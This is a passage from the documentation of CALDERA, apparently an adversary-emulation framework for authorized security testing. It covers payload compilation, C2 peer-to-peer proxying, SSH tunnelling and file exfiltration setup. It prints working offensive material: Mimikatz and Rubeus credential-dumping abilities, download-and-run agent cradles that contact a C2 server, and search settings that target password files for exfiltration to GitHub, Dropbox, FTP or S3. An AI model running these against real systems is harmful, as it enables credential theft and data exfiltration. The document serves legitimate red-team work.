˓→binpath= "cmd /c start C:\Users\Public\s4ndc4t.exe -server #{server} -v -
TWELVE
DYNAMICALLY-COMPILED PAYLOADS
The Builder plugin can be used to create dynamically-compiled payloads. Currently, the plugin supports C#, C, C++,
and Golang.
Code is compiled in a Docker container. The resulting executable, along with any additional references, will be copied
to the remote machine and executed.
Details for the available languages are below:
• csharp: Compile C# executable using Mono
• cpp_windows_x64: Compile 64-bit Windows C++ executable using MXE/MinGW-w64
• cpp_windows_x86: Compile 64-bit Windows C++ executable using MXE/MinGW-w64
• c_windows_x64: Compile 64-bit Windows C executable using MXE/MinGW-w64
• c_windows_x86: Compile 64-bit Windows C executable using MXE/MinGW-w64
• go_windows: Build Golang executable for Windows
The following “Hello World” ability can be used as a template for C# ability development:
---
- id: 096a4e60-e761-4c16-891a-3dc4eff02e74
name: Test C# Hello World
description: Dynamically compile HelloWorld.exe
tactic: execution
technique:
attack_id: T1059
name: Command-Line Interface
platforms:
windows:
psh,cmd:
build_target: HelloWorld.exe
language: csharp
code: |
using System;
namespace HelloWorld
{
class Program
(continues on next page)
59
caldera
It is possible to reference a source code file as well. The source code file should be in the plugin’s payloads/
directory. This is shown in the example below:
---
- id: 096a4e60-e761-4c16-891a-3dc4eff02e74
name: Test C# Hello World
description: Dynamically compile HelloWorld.exe
tactic: execution
technique:
attack_id: T1059
name: Command-Line Interface
platforms:
windows:
psh,cmd:
build_target: HelloWorld.exe
language: csharp
code: HelloWorld.cs
12.2.1 Arguments
It is possible to call dynamically-compiled executables with command line arguments by setting the ability command
value. This allows for the passing of facts into the ability. The following example demonstrates this:
---
- id: ac6106b3-4a45-4b5f-bebf-0bef13ba7c81
name: Test C# Code with Arguments
description: Hello Name
tactic: execution
technique:
attack_id: T1059
name: Command-Line Interface
platforms:
windows:
psh,cmd:
build_target: HelloName.exe
command: .\HelloName.exe "#{paw}"
language: csharp
code: |
using System;
namespace HelloWorld
(continues on next page)
DLL dependencies can be added, at both compilation and execution times, using the ability payload field. The
referenced library should be in a plugin’s payloads folder, the same as any other payload.
The following ability references SharpSploit.dll and dumps logon passwords using Mimikatz:
---
- id: 16bc2258-3b67-46c1-afb3-5269b6171c7e
name: SharpSploit Mimikatz (DLL Dependency)
description: SharpSploit Mimikatz
tactic: credential-access
technique:
attack_id: T1003
name: Credential Dumping
privilege: Elevated
platforms:
windows:
psh,cmd:
build_target: CredDump.exe
language: csharp
code: |
using System;
using System.IO;
using SharpSploit;
namespace CredDump
{
class Program
{
static void Main(string[] args)
{
SharpSploit.Credentials.Mimikatz mimi = new SharpSploit.
˓→Credentials.Mimikatz();
Console.WriteLine(logonPasswords);
}
}
(continues on next page)
12.2.3 Donut
- id: 7edeece0-9a0e-4fdc-a93d-86fe2ff8ad55
name: Test Donut with Arguments
description: Hello Name Donut
tactic: execution
technique:
attack_id: T1059
name: Command-Line Interface
platforms:
windows:
donut_amd64:
build_target: HelloNameDonut.donut
command: .\HelloNameDonut.donut "#{paw}" "#{server}"
language: csharp
code: |
using System;
namespace HelloNameDonut
{
class Program
{
static void Main(string[] args)
{
if (args.Length < 2) {
Console.WriteLine("No name, no server");
}
(continues on next page)
}
}
}
}
Donut can also be used to read from pre-compiled executables. .NET Framework 4 is required. Executables will
be found with either a .donut.exe or a .exe extension, and .donut.exe extensions will be prioritized. The
following example will transform a payload named Rubeus.donut.exe into shellcode which will be executed in
memory. Note that Rubeus.donut is specified in the payload and command:
---
- id: 043d6200-0541-41ee-bc7f-bcc6ba15facd
name: TGT Dump
description: Dump TGT tickets with Rubeus
tactic: credential-access
technique:
attack_id: T1558
name: Steal or Forge Kerberos Tickets
privilege: Elevated
platforms:
windows:
donut_amd64:
command: .\Rubeus.donut dump /nowrap
payloads:
- Rubeus.donut
THIRTEEN
EXFILTRATION
After completing an operation a user may want to review the data retreived from the target system. This data is
automatically stored on the CALDERA server in a directory specified in /conf/default.yml.
Some abilities will transfer files from the agent to the CALDERA server. This can be done manually with
Note: localhost could be rejected in place of the server IP. In this case you will get error 7. You should type out the
full IP. These files are sent from the agent to server_ip/file/upload at which point the server places these files inside the
directory specified by /conf/default.yml to key “exfil_dir”. By default it is set to /tmp/caldera
The server stores all exfiltrated files inside the directory specified by /conf/default.yml to key “exfil_dir”. By default it
is set to /tmp/caldera
Files can be accessed by pulling them directly from that location when on the server and manually unencrypting the
files.
To simplify accessing exfiltrated files from a running caldera server, you can go the the advanced section in the
CALDERA UI and click on the ‘exfilled files’ section.
From there you can select an operation (or all) from the drop down to see a listing of all the files in the exfil folder
corresponding to the operation (specifically works with sandcat agents or any other agent using the same naming
scheme for file upload folder) or in the directory along with the option to select any number of files to download
directly to your machine.
All downloaded files will be unencrypted before passing along as a download.
65
caldera
After the server is shut down the reports from operations are placed inside the directory specified by the
/conf/default.yml to key “reports_dir”. By default it is also set to /tmp
The reports and exfiltrated files are encrypted on the server. To view the file contents the user will have to decrypt the
file using /app/utility/file_decryptor.py . This can be performed with:
The output file will already have the _decrypted tag appended to the end of the file name once the decrypted file is
created by the python script.
FOURTEEN
In certain scenarios, an agent may start on a machine that can’t directly connect to the C2 server. For instance, agent
A may laterally move to a machine that is on an internal network and cannot beacon out to the C2. By giving agents
peer-to-peer capabilities, users can overcome these limitations. Peer-to-peer proxy-enabled agents can relay messages
and act as proxies between the C2 server and peers, giving users more flexibility in their Caldera operations.
This guide will explain how 54ndc47 incorporates peer-to-peer proxy functionality and how users can include it in
their operations.
By default, a 54ndc47 agent will try to connect to its defined C2 server using the provided C2 protocol (e.g. HTTP).
Under ideal circumstances, the requested C2 server is valid and reachable by the agent, and no issues occur. Because
agents cannot guarantee that the requested C2 server is valid, that the requested C2 protocol is valid and supported by
the agent, nor that the C2 server is even reachable, the agent will fall back to peer-to-peer proxy methods as a backup
method. The order of events is as follows:
1. Agent checks if the provided C2 protocol is valid and supported. If not, the agent resorts to peer-to-peer proxy.
2. If the C2 protocol is valid and supported, the agent will try to reach out to the provided C2 server using that
protocol. If the agent gets a successful Beacon, then it continues using the established C2 protocol and server.
If the agent misses 3 Beacons in a row (even after having successfully Beaconed in the past), then the agent will
fall back to peer-to-peer proxy.
When falling back to peer-to-peer proxy methods, the agent does the following:
1. Search through all known peer proxy receivers and see if any of their protocols are supported.
2. If the agent finds a peer proxy protocol it can use, it will switch its C2 server and C2 protocol to one of the
available corresponding peer proxy locations and the associated peer proxy protocol. For example, if an agent
cannot successfully make HTTP requests to the C2 server at http://10.1.1.1:8080, but it knows that
another agent is proxying peer communications through an SMB pipe path available at \\WORKSTATION\
pipe\proxypipe, then the agent will check if it supports SMB Pipe peer-to-peer proxy capabilities. If so
(i.e. if the associated gocat extension was included in the 54ndc47 binary), then the agent will change its server
to \\WORKSTATION\pipe\proxypipe and its C2 protocol to SmbPipe.
The agent also keeps track of which peer proxy receivers it has tried so far, and it will round-robin through each one
it hasn’t tried until it finds one it can use. If the agent cannot use any of the available peer proxy receivers, or if they
happen to all be offline or unreachable, then the agent will pause and try each one again.
67
caldera
Since an agent that requires peer-to-peer communication can’t reach the C2 server, it needs a way to obtain the
available proxy peer receivers (their protocols and where to find them). Currently, Caldera achieves this by including
available peer receiver information in the dynamically-compiled binaries. When agents hosting peer proxy receivers
check in through a successful beacon to the C2, the agents will include their peer-to-peer proxy receiver addresses and
corresponding protocols, if any. The C2 server will store this information to later include in a dynamically compiled
binary upon user request.
Users can compile a 54ndc47 binary that includes known available peer-to-peer receivers (their protocols and loca-
tions), by using the includeProxyPeers header when sending the HTTP requests to the Caldera server for agent
binary compilation. In order for a receiver to be included, the agent hosting the receiver must be trusted, and the
peer-to-peer protocol for the receiver must be included in the header value.
The header value can take one of the following formats:
• All : include all available receivers
• protocol1,protocol2,protocol3 : include only the proxy receivers that follow the requested proto-
cols (comma-separated).
• !protcol1,protocol2,protocol3 : include all available receivers, EXCEPT those that use the indi-
cated protocols.
By specifying protocols, users have greater control over their agents’ communication, especially when they do not
want particular protocols to appear in the local network traffic.
For example, suppose trusted agents A, B, C are each running HTTP proxy receivers at network addresses http:/
/10.1.1.11:8081, http://10.1.1.12:8082, http://10.1.1.13:8083, respectively. The peer-to-
peer proxy protocol is HTTP. When compiling a binary with the HTTP header includeProxyPeers:All or
includeProxyPeers:HTTP, the binary will contain all 3 URLs for the agent to use in case it cannot connect to
the specified C2.
To leverage peer-to-peer functionality, one or more gocat extensions may need to be installed. This can be done
through cradles by including the gocat-extensions header when sending HTTP requests to the Caldera server
for dynamic 54ndc47 compilation. The header value will be a comma-separated list of all the desired extensions
(e.g. proxy_method1,proxy_method2). If the requested extension is supported and available within the user’s
current Caldera installation, then the extension will be included.
Quickstart
Starting Receivers
To start an agent with peer-to-peer proxy receivers, the -listenP2P commandline switch must be used (no param-
eters taken). When this switch is set, the agent will activate all supported peer-to-peer proxy receivers.
Example powershell commands to start an agent with HTTP and SMB Pipe receivers:
$url="http://192.168.137.122:8888/file/download";
$wc=New-Object System.Net.WebClient;
$wc.Headers.add("platform","windows");
$wc.Headers.add("file","sandcat.go");
$wc.Headers.add("gocat-extensions","proxy_http,proxy_smb_pipe"); # Include gocat
˓→extensions for the proxy protocols.
$output="C:\Users\Public\sandcat.exe";
$wc.DownloadFile($url,$output);
C:\Users\Public\sandcat.exe -server http://192.168.137.122:8888 -v -listenP2P;
In cases where operators know ahead of time that a newly spawned agent cannot directly connect to the C2, they can
use the existing command-line options for 54ndc47 to have the new agent connect to a peer. To do so, the -c2 and
-server options are set to the peer-to-peer proxy protocol and address of the peer’s proxy receiver, respectively.
For example, suppose trusted agent A is running an SMB pipe proxy receiver at pipe path \\WORKSTATION1\
pipe\agentpipe. Instead of compiling a new agent using the HTTP header includeProxyPeers:All or
includeProxyPeers:SmbPipe to include the pipe path information in the binary, operators can simply specify
-c2 SmbPipe and -server \\WORKSTATION1\pipe\agentpipe in the command to run the agent. Note
that in this instance, the appropriate SMB pipe proxy gocat extension will need to be installed when compiling the
agent binaries.
Example powershell commands to start an agent and have it directly connect to a peer’s SMB pipe proxy receiver:
$url="http://192.168.137.122:8888/file/download";
$wc=New-Object System.Net.WebClient;
$wc.Headers.add("platform","windows");
$wc.Headers.add("file","sandcat.go");
$wc.Headers.add("gocat-extensions","proxy_smb_pipe"); # Required extension for SMB
˓→Pipe proxy.
$output="C:\Users\Public\sandcat.exe";
$wc.DownloadFile($url,$output);
# ...
# ... transfer SMB Pipe-enabled binary to new machine via lateral movement technique
# ...
In complex circumstances, operators can create proxy chains of agents, where communication with the C2 traverses
several hops through agent peer-to-peer links. The peer-to-peer proxy links do not need to all use the same proxy
protocol. If an agent is running a peer-to-peer proxy receiver via the -listenP2P command-line flag, and if the
agent uses peer-to-peer communications to reach the C2 (either automatically or manually), then the chaining will
occur automatically without additional user interaction.
Manual example - run peer proxy receivers, but manually connect to another agent’s pipe to communicate with the
C2:
At the core of the 54ndc47 peer-to-peer functionality are the peer-to-peer clients and peer-to-peer receivers. Agents
can operate one or both, and can support multiple variants of each. For instance, an agent that cannot directly reach
the C2 server would run a peer-to-peer client that will reach out to a peer-to-peer receiver running on a peer agent.
Depending on the gocat extensions that each agent supports, an agent could run many different types of peer-to-peer
receivers simultaneously in order to maximize the likelihood of successful proxied peer-to-peer communication.
Direct communication between the 54ndc47 agent and the C2 server is defined by the Contact interface in the con-
tact.go file within the contact gocat package. Because all peer-to-peer communication eventually gets proxied to
the C2 server, agents essentially treat their peer proxy receivers as just another server.
The peer-to-peer proxy receiver functionality is defined in the P2pReceiver interface in the proxy.go file within the
proxy gocat package. Each implementation requires the following:
• Method to initialize the receiver
• Method to run the receiver itself as a go routine (provide the forwarding proxy functionality)
• Methods to update the upstream server and communication implementation
• Method to cleanly terminate the receiver.
• Method to get the local receiver addresses.
The 54ndc47 agent currently supports one peer-to-peer proxy: a basic HTTP proxy. Agents that want to use the HTTP
peer-to-peer proxy can connect to the C2 server via an HTTP proxy running on another agent. Agent A can start
an HTTP proxy receiver (essentially a proxy listener) and forward any requests/responses. Because the nature of an
HTTP proxy receiver implies that the running agent will send HTTP requests upstream, an agent must be using the
HTTP c2 protocol in order to successfully provide HTTP proxy receiver services.
The peer-to-peer HTTP client is the same HTTP implementation of the Contact interface, meaning that an agent simply
needs to use the HTTP c2 protocol in order to connect to an HTTP proxy receiver.
In order to run an HTTP proxy receiver, the 54ndc47 agent must have the proxy_http gocat extension installed.
Example commands:
$url="http://192.168.137.122:8888/file/download";
$wc=New-Object System.Net.WebClient;$wc.Headers.add("platform","windows");
$wc.Headers.add("file","sandcat.go");
$wc.Headers.add("gocat-extensions","proxy_http");
$output="C:\Users\Public\sandcat.exe";$wc.DownloadFile($url,$output);
C:\Users\Public\sandcat.exe -server http://192.168.137.122:8888 -v -listenP2P
FIFTEEN
C2 COMMUNICATIONS TUNNELING
In addition to built-in contact methods such as HTTP, DNS, TCP, and UDP, CALDERA also provides support for
tunneling C2 traffic, which supporting agents can use to mask built-in contact methods for added defense evasion.
Currently, the only available tunneling method is SSH tunneling, which is only supported by the sandcat agent.
Sandcat agents can use SSH tunneling to tunnel C2 contact mechanisms, namely HTTP(S). CALDERA also provides
built-in support to spin up a minimal local SSH server for SSH tunneling.
Within the CALDERA configuration file, adjust the following entries according to your environment:
• app.contact.tunnel.ssh.host_key_file: File name for the server’s SSH private host key. You
can generate your own SSH private host key for the CALDERA server. The file must reside in the conf/
ssh_keys directory. If the CALDERA server cannot find or read the provided private host key, it will generate
a temporary RSA host key to use for operations. Although this would cause security warnings under normal
circumstances, the sandcat agent implementation of SSH tunneling does not attempt to verify hosts, and thus
should not be affected by changing or temporary host keys.
• app.contact.tunnel.ssh.host_key_passphrase: Passphrase for the server’s SSH private host
key. The server will use this passphrase to read the private host key file provided in app.contact.tunnel.
ssh.host_key_file.
• app.contact.tunnel.ssh.socket: Indicates the IP address and port that the CALDERA server will
listen on for SSH tunneling connections (e.g. 0.0.0.0:8022).
• app.contact.tunnel.ssh.user_name: User name that agents will use to authenticate to the
CALDERA server via SSH. The default value is sandcat.
• app.contact.tunnel.ssh.user_password: Password that agents will use to authenticate to the
CALDERA server via SSH. The default value is s4ndc4t!.
Once the configuration entries are set, simply start the CALDERA server up as normal via the server.py Python
program, and CALDERA will automatically attempt to start an SSH server that listens on the specified socket (app.
contact.tunnel.ssh.socket).
The contact will first attempt to read in the host private key file specified by app.contact.tunnel.ssh.
host_key_file, using the passphrase specified by app.contact.tunnel.ssh.host_key_passphrase.
If it cannot read the file for whatever reason (e.g. file does not exist, or the passphrase is incorrect), then the server
will generate its own temporary private key to use for the server.
73
caldera
The SSH server should only be used between agents and the C2 server and should not be used to SSH into the
CALDERA server manually (e.g. to manage the server remotely).
The sandcat agent is currently the only agent that supports SSH tunneling. To use it, the server,
tunnelProtocol, tunnelAddr, tunnelUser, and tunnelPassword arguments must be used.
• server value is the CALDERA server endpoint that the tunnel will connect to - if the agent is tunneling HTTP
communications through SSH, then server should be the HTTP socket for the CALDERA C2 server (e.g.
http://10.10.10.15:8888).
• tunnelProtocol value is the name of the tunneling mechanism that the agent is using. For SSH, the value
must be SSH.
• tunnelAddr is the port number or IP:port combination that indicates which port or socket to connect to via
SSH to start the tunnel (e.g. 8022 or 10.10.10.15:8022). If only a port number is provided, the agent will
try to connect to the IP address from server using the specified port. The server listening on the port/socket
should be listening for SSH connections from agents.
• tunnelUser indicates which username to use to authenticate to tunnelAddr via SSH. This username
should match the CALDERA configuration value for app.contact.tunnel.ssh.user_name.
• tunnelPassword indicates which password to use to authenticate to tunnelAddr via SSH. This password
should match the CALDERA configuration value for app.contact.tunnel.ssh.user_password.
To tunnel different contacts through SSH tunneling, simply adjust the c2 and server values as needed.
When authenticating to the provided SSH server, the sandcat agent will use the username/password provided by the
tunnelUser and tunnelPassword arguments. Whatever credentials the agent uses must reflect the CALDERA
configuration values specified in app.contact.tunnel.ssh.user_name and app.contact.tunnel.
ssh.user_password. The agent will then open a random local port to act as the local endpoint of the SSH
tunnel. This local endpoint becomes the upstream_dest value for the agent.
The following commandline will start a sandcat agent that will open up an SSH tunnel to the CALDERA c2 server
at 192.168.140.1:8022, and the tunneled communications will be sent to the c2 server’s HTTP endpoint at
192.168.140.1:8888:
server="http://192.168.140.1:8888";
curl -s -X POST -H "file:sandcat.go" -H "platform:linux" $server/file/download >
˓→sandcat.go;
chmod +x sandcat.go;
./sandcat.go -server $server -v -tunnelProtocol SSH -tunnelAddr 8022 -tunnelUser
˓→sandcat -tunnelPassword s4ndc4t!
The above Linux agent will produce verbose output similar to the following:
The agent connected to the C2 server via SSH at 192.168.140.1:8022 and opened a local SSH tunnel on local
port 52649 that tunnels HTTP traffic to the C2 server at 192.168.140.1:8888. This is the equivalent of running
ssh -L 52649:localhost:8888 [email protected] -p 8022 -N.
Note that the agent’s upstream destination endpoint is set to the local SSH tunnel endpoint at http://
localhost:54351 (the protocol is set to http since the agent is tunneling HTTP comms), while the true server
value is the final tunnel destination at http://192.168.140.1:8888.
If running the CALDERA c2 server with logging verbosity set to DEBUG, you may see output similar to the following
when an agent connects via SSH tunneling:
2021-03-26 09:12:43 - DEBUG (logging.py:79 log) [conn=2, chan=0] Set write buffer
˓→limits: low-water=16384, high-water=65536
Once the tunnel is established, operators can proceed as normal with agent activity and operations.
SIXTEEN
UNINSTALL CALDERA
To uninstall CALDERA, navigate to the directory where CALDERA was installed and recursively remove the direc-
tory using the following command:
rm -rf caldera/
CALDERA may leave behind artifacts from deployment of agents and operations. Remove any remaining CALDERA
agents, files, directories, or other artifacts left on your server and remote systems:
rm [ARTIFACT_NAME]
Generated reports and exfiled files are saved in /tmp on the server where CALDERA is installed.
Some examples of CALDERA artifacts left by agents (on server if agent ran locally, on clients if run remotely):
• sandcat.go: sandcat agent
• manx.go: manx agent
• nohup.out: ouput file from deployment of certain sandcat and manx agents
77
caldera
SEVENTEEN
TROUBLESHOOTING
1. Ensure that CALDERA has been cloned recursively. Plugins are stored in submodules and must be cloned along
with the core code.
2. Check that Python 3.7+ is installed and being used.
3. Confirm that all pip requirements have been fulfilled.
4. Run the CALDERA server with the --log DEBUG parameter to see if there is additional output.
5. Consider removing the conf/local.yml and letting CALDERA recreate the file when the server runs again.
79
caldera
CALDERA has a backup, cleanup, and save procedure that runs when the key combination CTRL+C is pressed. This
is the recommended method to ensure proper shutdown of the server. If the Python process executing CALDERA is
halted abruptly (for example SIGKILL) it can cause information from plugins to get lost or configuration settings to
not reflect on a server restart.
1. Check the server logs for the incoming connection. If there is no connection:
1. Check for any output from the agent download command which could give additional information.
2. Make sure the agent is attempting to connect to the correct address (not 0.0.0.0 and likely not 127.0.
0.1).
3. Check that the listen interface is the same interface the agent is attempting to connect to.
4. Check that the firewall is open, allowing network connections, between the remote computer running the
agent and the server itself.
2. Ensure Go is properly installed (required to dynamically-compile Sandcat):
1. Make sure the Go environment variables are properly set. Ensure the PATH variable includes the Go
binaries by adding this to the /etc/profile or similar file:
export PATH=$PATH:/usr/local/go/bin
2. If there are issues with a specific package, run something like the following:
go get -u github.com/google/go-github/github
go get -u golang.org/x/oauth2
1. Run the agent with the -v flag and without the -WindowStyle hidden parameter to view output.
2. Consider removing bootstrap abilities so the console isn’t cleared.
17.5 Operations
1. Ensure that at least one agent is running before running the operation.
1. Check that the agent is running either on the server or in the agent-specific settings under last checked in
time.
2. Alternatively, clear out the running agent list using the red X’s. Wait for active agents to check in and
repopulate the table.
2. Ensure that an adversary is selected before running the operation.
1. Files are encrypted by default and can be decrypted with the following utility: https://github.com/mitre/caldera/
blob/master/app/utility/file_decryptor.py
EIGHTEEN
RESOURCES
The following file contains a list of Caldera’s abilities in comma-separated value (CSV) format.
abilities.csv
83
caldera
NINETEEN
This document will discuss how to utilize various exfiltration abilities within CALDERA, specifically focused on the
following abilities:
• Advanced File Search and Stager
• Find Git Repositories & Compress Git Repository (local host)
• Compress Staged Directory (Password Protected) – 7z and tar+gpg
• Compress Staged Directory (Password Protected) and Break Into Smaller Files
• Exfil Compressed Archive to FTP
• Exfil Compressed Archive to Dropbox
• Exfil Compressed Archive to GitHub Repositories | Gists
– Additionally: Exfil Directory Files to Github
• Exfil Compressed Archive to S3 via AWS CLI
• Transfer Compressed Archive to Separate S3 Bucket via AWS CLI
• Scheduled Exfiltration (uses the standard HTTP C2 channel)
Note: the exfiltration abilities (to GitHub, Dropbox, FTP, and AWS) require a compressed archive with a corresponding
host.dir.compress fact unless otherwise noted.
If you want to skip straight to an example, click here
To fully capitalize on the exfiltration abilities, you will need to do a little set up on the far end to receive the exfiltrated
data.
19.1.1 Dropbox
If you do not have a Dropbox account already, you can obtain a free account (with storage size limitations) by navi-
gating to the signup page for a basic account and fill in the required information.
Once you have an activated account, you will navigate to the App Center and select ‘Manage’. In the left-hand toolbar
and near the bottom, select ‘Build an App’. The name will need to be unique; fill out the requested information.
Generate an access token and set it for the desired expiration time (default as of this document is 4 hours). You may
need to update your access token periodically prior to operations.
On the permissions tab, grant the application read and write access for files and folders, then submit the application.
85
caldera
Uploaded files should appear under Apps/AppName/FolderName if you elected to segregate app folders.
Chances are you already have a GitHub account if you’re using this platform. Create a new repository per the standard
instructions. If you do not already have a private access token, you can create it under Settings > Developer Settings >
Personal Access Tokens. Select if you want the token to also apply to Gists while you’re here.
You can commit directly to main if desired, or you can use a branch for your operations (just be sure to update the
fact source with the desired branch, discussed below). Keep track of your GitHub username, access token, and branch
name for the fact source.
This is a much simpler case - simply have a GitHub account and obtain an access token as described above (Settings >
Developer Settings > Personal Access Tokens). Ensure the access token also applies to Gists if you already have one.
Keep track of the access token and your username for the fact source.
19.1.4 FTP
There are a number of ways to start an FTP server depending on your OS; start the service per your operating system’s
requirements. As a note, FTP services may not like writable chroots if configured. To avoid this, either allow writeable
chroots or designate a specific folder for CALDERA uploads and supply that in the fact source.
For example, with vsftpd you can either:
• Edit /etc/vsftpd.conf to include allow_writable_chroot=YES
• Supply a writable folder in addition to the FTP server address in the CALDERA fact source. E.g. value:
192.168.1.2/upload
19.1.5 AWS
The exfiltration via AWS CLI abilities assume the AWS CLI is installed on the host machine. For use with an IAM
user, the proper credentials (access key, secret access key, and also session token if using MFA) must be provided for
the [default] profile in ~/.aws/credentials. The [default] profile may require some additional setup
with the correct region and output within ~/.aws/config.
For exfiltration to S3 bucket, the permissions must be in place to allow the [default] profile read/write accesses to
the target S3 bucket (examples: s3:ListBucket, s3:PutObject).
For transferring data to a separate S3 bucket, proper policies must be configured in the source AWS account to allow
listing (s3:ListBucket) and getting (s3:PutObject) objects from the source S3 bucket in addition to listing,
putting objects, and setting the ACL when putting (s3:PutObjectAcl) an object to the destination S3 bucket.
Policies must also be configured in the destination AWS account to allow the source AWS account to put objects and
set the object’s ACL in the destination S3 bucket. This will ensure that objects transferred to the destination account
will automatically become owned by the destination bucket owner, who will then have full control of the transferred
objects.
CALDERA uses facts in its operations to collect and act upon information of import. For more general information,
see the docs. To aid in exfiltration testing, Stockpile contains a fact source for basic testing with the various facts
consumed by the abilities listed above (data/sources/2ccb822c-088a-4664-8976-91be8879bc1d). Note that this does
not include all facts used by other exfiltration abilities in CALDERA, such as those offered by the Atomic plugin.
Most of the fact source is commented-out by default excepting the search and stage ability. To plan an operation, first
consider the various file searching and staging options available. The source file contains information on the options
available to you as the user along with the required formatting and default values as examples.
Review the remaining facts and un-comment (remove the # at the start of the line) the applicable facts – both the trait
and value lines. For sections like GitHub, notes have been left regarding which facts are required for either exfil to
repositories or Gists. For example, only the first two facts below need to be un-commented and updated if using Gists:
# GitHub Exfiltration
# -------------------------------------
#- trait: github.user.name <--- Uncomment
# value: CHANGEME-BOTH <--- Uncomment & Update
#- trait: github.access.token <--- Uncomment
# value: CHANGEME-BOTH <--- Uncomment & Update
#- trait: github.repository.name
# value: CHANGEME-RepoOnly
#- trait: github.repository.branch
# value: CHANGEME-RepoOnly
If you’re planning a longer operation requiring other facts, feel free to add them to this file using the standard syntax.
19.3 Adversaries
Before diving into an example, one last thing you should be aware of: pre-built adversaries. You may already be
familiar with adversaries like Hunter and Thief – to give you a baseline, we’ve included four adversaries covering ex-
filtration operations to Dropbox, FTP, and GitHub (1x Repository, 1x Gist). If you want to try them out quickly, simply
create the corresponding exfiltration destination account/service and run an operation as normal using Advanced Thief
via [ Dropbox | FTP | GitHub Repo | GitHub Gist ] and the provided fact source with appropriate entries.
These adversaries work nearly identically, first finding and staging files using Advanced File Search and Stager and
compressing the staged directory via utility with a password. Once converted to an archive, the last ability is exfil to
the selected destination.
TWENTY
AN EXAMPLE
First, ensure you have an account and that you have generated an access token as described above. In either the UI
(github.com) or via the command line interface, create a repository to house the exfiltrated data. If desired, additionally
create a branch. For this demo, we have selected ‘caldera-exfil-test’ as the repository and ‘demo-op’ as the branch. In
the source file, edit the section marked for GitHub as follows. In the event you choose to use the main branch, supply
that instead for the branch fact.
id: 2ccb822c-088a-4664-8976-91be8879bc1d
name: Exfil Operation
...
# GitHub Exfiltration
# -------------------------------------
- trait: github.user.name # <--- Uncommented
value: calderauser # <--- Uncommented & Updated
- trait: github.access.token # <--- Uncommented
value: ghp_dG90YWxseW1V1cG... # <--- Uncommented & Updated
- trait: github.repository.name # <--- Uncommented
value: caldera-exfil-test # <--- Uncommented & Updated
- trait: github.repository.branch # <--- Uncommented
value: demo-op # <--- Uncommented & Updated
...
With GitHub ready to go, it’s time to consider other operational facts. For this example, we will focus on a quick
smash-and-grab without any other actions. Returning to the source file, let’s look at the topic section for file search
and stage. While there are instructions in the file, we’ll cover a little more detail here.
To summarize options, you can find files by: extension and content and cull the results by providing a variety of lim-
iters: modified timeframe (default: last 30 days) and/or accessed timeframe (default: last 30 days), only searching
certain directories (e.g. c:\users or /home) or explicitly excluding directories (e.g. any “Music” folders). Addi-
tionally, for Windows targets you can exclude certain extensions. This is largely to exclude executables from capture
by the content search, which the Linux command can do inherently. The included source file has default values for
many of these options but can easily be adjusted.
89
caldera
Looking first at how to identify content we want, we’ll discuss the extensions and content search. For extensions, you
can control Windows and Linux separately to account for different important file types between the operating systems.
For the extensions, you’ll note instructions in the file regarding format. These extensions should be provided in a
comma-separated list with no periods or asterisks as they are added in the payload. If you’re not picky, you can also
supply all or none.
The content search looks inside of files for the given string(s). This is shared between operating systems; simply
include your terms of import (spaces are ok!) in a comma-separated list. By default, Linux will ignore any binary files
when performing this search; Windows targets should use the excluded extensions list.
For this example, we’ll leave the default values and be sure to exclude common binary files we might find from
Windows.
...
# ---- Comma-separated values, do not include '.' or '*', these are added in the
˓→payload if needed. Example: doc,docx
# ---- May also use 'all' for INCLUDED extensions and 'none' for EXCLUDED extensions
- trait: linux.included.extensions
value: txt,cfg,conf,yml,doc,docx,xls,xlsx,pdf,sh,jpg,p7b,p7s,p7r,p12,pfx
- trait: windows.included.extensions
value: doc,xps,xls,ppt,pps,wps,wpd,ods,odt,lwp,jtd,pdf,zip,rar,docx,url,xlsx,pptx,
˓→ppsx,pst,ost,jpg,txt,lnk,p7b,p7s,p7r,p12,pfx
value: exe,jar,dll,msi,bak,vmx,vmdx,vmdk,lck
# ---- Comma-separated values to look for. Spaces are allowed in terms. May also
˓→use 'none'
- trait: file.sensitive.content
value: user,pass,username,password,uname,psw
...
With the content identified, we may want to focus our efforts on areas that might contain sensitive documents to save
time in the operation and post-processing. Adversaries have been observed using similar tactics, limiting results to
certain directories or documents seeing use in a given time period. As with the extensions and content, the provided
source file has default values set, but they can easily be changed.
First, you can choose an information cutoff date. As with the extensions, you can specify ‘none’ if you do not wish to
limit the results. You can also pick one or the other (modified or accessed) if you only care about one metric. Simply
supply a negative integer value, which represents the number of past days from today to include. We’ll leave it with
the default here.
# ---- Integer; cutoff for access/modification (-30 = accessed/modified in last 30
˓→days)
# ---- May also use 'none' for either or both options. Note on usage: if both
˓→options are present, the script
# ---- uses a boolean "or" - if a file was accessed in the desired timeframe but
˓→not modified in the time frame,
- trait: file.last.accessed
(continues on next page)
Next, let’s look at the directories. You can again supply comma-separated lists of directories or a single directory.
These items will be used as the root nodes for a recursive search within. The default is c:\users and /home, but
we have changed things up here to limit it to a folder containing test files.
If searching a directory like c:\users or /home, you will likely encounter folders you (or an attacker) do not much
care for. To address this, you can supply a comma-separated list of phrases to exclude from directory paths. These do
not need to be full paths and can include spaces. For the example below, we have excluded things like “Music” and
“saved games”, folders found by default in user directories. Because these folders aren’t likely in the test folder we’re
using, these shouldn’t be issues. Be sure to account for any folders that may contain information that would violate
your organization’s policy if it were to be published to a site outside of organizational control.
# ---- Comma-separated, does not need to be full paths. May also use 'none'
- trait: windows.excluded.directories
value: links,music,saved games,contacts,videos,source,onedrive
- trait: linux.excluded.directories
value: .local,.cache,lib
20.5 Staging
Next up, we’ll discuss staging. Because this file does search and stage, users can specify where to move the files.
By default, Windows targets will stage to the user’s recycle bin and Linux targets will stage to /tmp as both of these
locations should be writable by default. In each case, the ability will create a hidden folder called “s” at these locations.
If changing the default location, be sure to include a full path. Because the Recycle Bin requires some processing to
get the user’s SID, you can instead use the string “Recycle Bin” which will be parsed into the correct location. As
noted in the instructions, if the staging directory is changed from the default, the ability does contain a fall-back in the
event the selected directory is not writable. These values are c:\users\public and /tmp.
# Include the full path or use "Recycle Bin". Fall-back in the payload file is "c:\
˓→users\public".
# Recycle Bin will attempt to create a staging folder at c:\$Recycle.Bin\{SID}
˓→which should be writable by default
# Takes given location and creates a hidden folder called 's' at the location.
- trait: windows.staging.location
value: Recycle Bin
# ---- Include the full path, ensure it's writable for the agent. Fallback is /tmp.
˓→ Creates a hidden folder called .s
- trait: linux.staging.location
value: /tmp
To support safe testing, the ability additionally has a safe mode option. It is disabled by default and will find all
files matching the parameters set before. If this fact is changed to ‘true’, you can supply an identifying value which
20.5. Staging 91
caldera
indicates the file is for testing. This identifying value must be at the end of the file. The default value is “_pseudo”.
